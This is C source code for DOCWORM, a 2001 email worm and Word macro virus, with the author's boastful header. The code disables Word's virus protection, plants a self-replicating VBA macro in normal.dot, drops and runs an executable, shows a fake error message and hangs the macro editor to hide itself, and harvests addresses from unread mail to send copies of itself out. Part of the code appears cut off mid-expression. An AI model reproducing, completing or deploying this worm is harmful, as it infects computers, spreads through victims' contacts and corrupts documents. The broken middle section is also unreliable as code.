/* DOCWORM by Bumblebee Copyright (c) 2001 Bumblebee (aka I-Worm.Bumdoc huehehe, fuck off avp gays) THIS IS THE SOURCE CODE OF AN I-WORM. THE AUTHOR IS NOT RESPONSABILE OF ANY DAMAGES THAT MAY OCCUR DUE TO ITS BUILD AND UPON EXECUTION. I was bored and had to study and work and... well i did it in half a day. Peeps into unread mails to get addresses to send, kinda like Plage 2000 does but this time is not an endless loop. Due to this i check unread mails once, and i don't mark them coz until next boot i won't check mails again. Moreover i fix the damn bug i put in plage that makes it flood certain e-mail clients :) It uses the same trick of BRSHWORM to generate an stealth-error message: tries to load a fake dll and with the FormatMessage API shows the user the system cannot find a required component to run the app. The nice adventage of this fake message is it will be appear in the user's leng, and in fact is a genuine win error message ;) I've used C random stuff in all the worm, so all the files used by the worm (not including the macro dropper and the install lock file) have a random name. This is a little worm/virus that drops itself into normal.dot via a vbs script. The installed macros are full working macro virus that will infect other documents and drop and install the worm when a new normal.dot is infected from a document. The macro spawn system is quite the same i used in Lil'Devil, but this time the macro virus is more powerful and the encoded dropper is quite more optimized, but i'm still not a macro coder :/ I've used fixed length in the macro encoding stuff. Due to this if the worm is greather this hardcoded size the encoded dropper in the macros will be wrong. So simbiosis alike stuff won't work fine with this worm, sorry :) As you can see the source is very small. The binary this time is 8964 bytes. BRSHWORM has a little binary too. This time i linked it aganist msvcrt.dll instead crtdll.dll i used in BRSHWORM. Seems second library will be deprecated in the future so now i'm going to use msvcrt (even 1st win95 version has not). Why to carry with the run-time of your compiler when m$ has those installed for us to use them? And don't care the compiler you're using, i've done those two worms with an old BC++ and i've linked them with the so powerful ALINK. Here you have a very simple and effective i-worm to kill my spare (and no so spare) time. I hope you like it even it has not the innovative feel than BRSHWORM (aka i-worm.funnypics) has. The fact it's able to jump over word makes it has two ways to spread, thus less limited than BRSHWORM. I think it's possible to see DOCWORM itw... not BRSHWORM. the way of the bee */ #include #include #include #include char copyright[]="\n[ This is DOCWORM by Bumblebee ]\n"; char daemonFile[]="\\xxxxxxxx.exe"; char vbsFile[]="c:\\xxxxxxxx.vbs"; char *vbs[]= { "' This is part of the DOCWORM Project\n" "' the way of the bee\n" "On Error Resume Next\n" "set w=createobject(\"word.application\")\n" "w.options.virusprotection=0\n" "w.options.savenormalprompt=0\n" "w.options.confirmconversions=0\n" "if w.normaltemplate.vbproject.vbcomponents(1).name<>\"DOCWORM\" then\n" "w.normaltemplate.vbproject.vbcomponents(1).codemodule." "addfromfile(\"", "\")\n" "w.normaltemplate.vbproject.vbcomponents(1).name=\"DOCWORM\"\n" "end if\n" "w.application.quit\n" "wscript.quit\n" }; char macrosFile[]="c:\\xxxxxxxx.sys"; char macros[]= /* that's main sub of macro virus. It infects at document open. */ /* Case it infects normal.dot it drops the worm and execs it with */ /* install mode */ "Private Sub Document_Open()\n" "' This is part of the DOCWORM Project\n" "' the way of the bee\n" "On Error Resume Next\n" "Set ad = ActiveDocument.VBProject.VBComponents(1)\n" "Set no = NormalTemplate.VBProject.VBComponents(1)\n" "Set op = Options\n" "op.VirusProtection = 0\n" "op.ConfirmConversions = 0\n" "op.SaveNormalPrompt = 0\n" "If no.Name <> \"DOCWORM\" Then\n" "no.Name = \"DOCWORM\"\n" "install ad, no\n" "drop\n" "bumblespawn=shell(\"c:\\spawn.exe /i\",vbnormalfocus)\n" "setattr (\"c:\\spawn.exe\"), 6\n" "End If\n" "If ad.Name <> \"DOCWORM\" Then\n" "ad.Name = \"DOCWORM\"\n" "install no, ad\n" "ActiveDocument.Save\n" "End If\n" "End Sub\n\n" /* this is sub is neat, it cleans all macros at destination item */ /* before add our lovely virus :) Let's say it's hostile to other */ /* macro virus hehehe */ "Private Sub install(src, dst)\n" "Set odst = dst.CodeModule\n" "Set osrc = src.CodeModule\n" "odst.DeleteLines 1, odst.CountOfLines\n" "odst.InsertLines 1, osrc.Lines(1, osrc.CountOfLines)\n" "End Sub\n\n" /* this damn stealth sometimes works, and sometimes not... shit of */ /* macros. The idea is to hang word (in fact it crashes at vbaxx.dll) */ /* when tools>macro or tools>vba editor are called. */ "private sub ToolsMacro()\n" "ViewVBCode\n" "end sub\n" "\n" "private sub ViewVBCode()\n" "ToolsMacro\n" "end sub\n"; #define DEFAULT 0 #define QUIET 1 #define INSTALL 2 #define WORDSPAWN 4 char filename[1024]; #define WSIZE 8964 typedef ULONG (PASCAL FAR *RSP)(ULONG, ULONG); typedef ULONG (PASCAL FAR *MSENDMAIL)(ULONG, ULONG, MapiMessage *, FLAGS, ULONG); typedef ULONG (PASCAL FAR *MLOGON)(ULONG, LPTSTR, LPTSTR, FLAGS, ULONG, LPLHANDLE); typedef ULONG (PASCAL FAR *MLOGOFF)(LHANDLE, ULONG, FLAGS, ULONG); typedef ULONG (PASCAL FAR *MFINDNEXT)(LHANDLE, ULONG, LPTSTR, LPTSTR, FLAGS, ULONG, LPTSTR); typedef ULONG (PASCAL FAR *MREADMAIL)(LHANDLE, ULONG, LPTSTR, FLAGS, ULONG, lpMapiMessage FAR *); typedef ULONG (PASCAL FAR *MFREEBUFFER)(LPVOID); void spawnMail(void); int main() { FILE *fd,*in; LPTSTR commandLine,ptr; long i,j,k,n,m; BYTE status; char buffer[1024]; HKEY hkey; unsigned char *file; HMODULE k32; RSP RegSerPro; /* mmm, clean your fingerprints man */ DeleteFile("c:\\spawn.exe"); /* default: install, word spawn, stealth message /w word spawn /i install /q quiet */ status=DEFAULT; srand(GetTickCount()); commandLine=GetCommandLine(); if(commandLine) { for(ptr=commandLine;ptr[0]!='/' && ptr[1]!=0;ptr++); if(ptr[0]=='/' && ptr[1]!=0) { switch(ptr[1]) { default: break; case 'q': status=QUIET; break; case 'i': status=INSTALL; break; case 'w': status=WORDSPAWN; break; } } } if(!GetModuleFileName(NULL,filename,1024)) return 0; /* infect normal.dot */ if(status==WORDSPAWN || !status) { if(!GetWindowsDirectory(buffer,256)) return 0; /* use wininit.ini as lock file */ strcat(buffer,"\\wininit.ini"); fd=fopen(buffer,"rt"); if(fd) fclose(fd); else { for(i=0;i<8;i++) { vbsFile[i+3]='a'+(char)(26*rand()/RAND_MAX); macrosFile[i+3]='a'+(char)(26*rand()/RAND_MAX); } fd=fopen(macrosFile,"wt"); if(!fd) return 0; fprintf(fd,"%s",macros); fprintf(fd,"private sub drop()\n"); fprintf(fd,"open \"c:\\spawn.exe\" for binary as #1\n"); file=(unsigned char *)malloc(WSIZE); if(!file) return 0; in=fopen(filename,"rb"); fread(file,1,WSIZE,in); fclose(in); for(i=0,n=0;i<(WSIZE/512)+1 && nlpOriginator->lpszAddress); attachment.lpszFileName=filenames[(16*rand()/RAND_MAX)]; (MSendMail)(session,0,&mbody,0,0); (MFree)(mess); } } Sleep(5000); (MLogoff)(session,0,0,0); Sleep(5000); FreeLibrary(MAPIdll); return; }